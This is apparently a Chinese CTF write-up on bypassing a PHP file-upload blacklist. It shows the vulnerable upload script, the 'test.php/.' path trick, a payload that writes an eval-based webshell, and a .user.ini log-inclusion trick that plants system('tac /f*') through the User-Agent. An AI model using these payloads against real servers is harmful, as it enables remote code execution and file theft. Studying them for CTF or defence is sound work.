文件上传绕过

1.file_put_contents 路径漏洞

php 复制代码
 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
//php stristr()函数 语法

作用:返回一个字符串在另一个字符串中开始位置到结束的字符串,不区分大小写
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。

2.写入木马payload:

php 复制代码
<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

3.题目过滤了< 不能传木马,然后可以通过.user.ini 配合日志文件包含:

直接UA写马 <?php system('tac /f*');?>

相关推荐
搬码临时工2 分钟前
如何把本地服务器变成公网服务器?内网ip网址转换到外网连接访问
运维·服务器·网络·tcp/ip·智能路由器·远程工作·访问公司内网
vortex57 分钟前
探索 Shell:选择适合你的命令行利器 bash, zsh, fish, dash, sh...
linux·开发语言·bash·shell·dash
GalaxyPokemon31 分钟前
LeetCode - 148. 排序链表
linux·算法·leetcode
懒羊羊大王呀1 小时前
Ubuntu20.04中 Redis 的安装和配置
linux·redis
鳄鱼杆1 小时前
服务器 | Centos 9 系统中,如何部署SpringBoot后端项目?
服务器·spring boot·centos
杰哥技术分享1 小时前
在 CentOS 上安装 Docker 和 Docker Compose 并配置使用国内镜像源
linux·docker·centos
知更鸟呆呆1 小时前
【Linux操作系统】基础开发工具(yum、vim、gcc/g++)
linux·运维·vim
xiangyong581 小时前
ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]
linux·ubuntu·gnu
weixin_461259412 小时前
[C]C语言日志系统宏技巧解析
java·服务器·c语言
m0_637146932 小时前
C语言基础面试问答
运维·服务器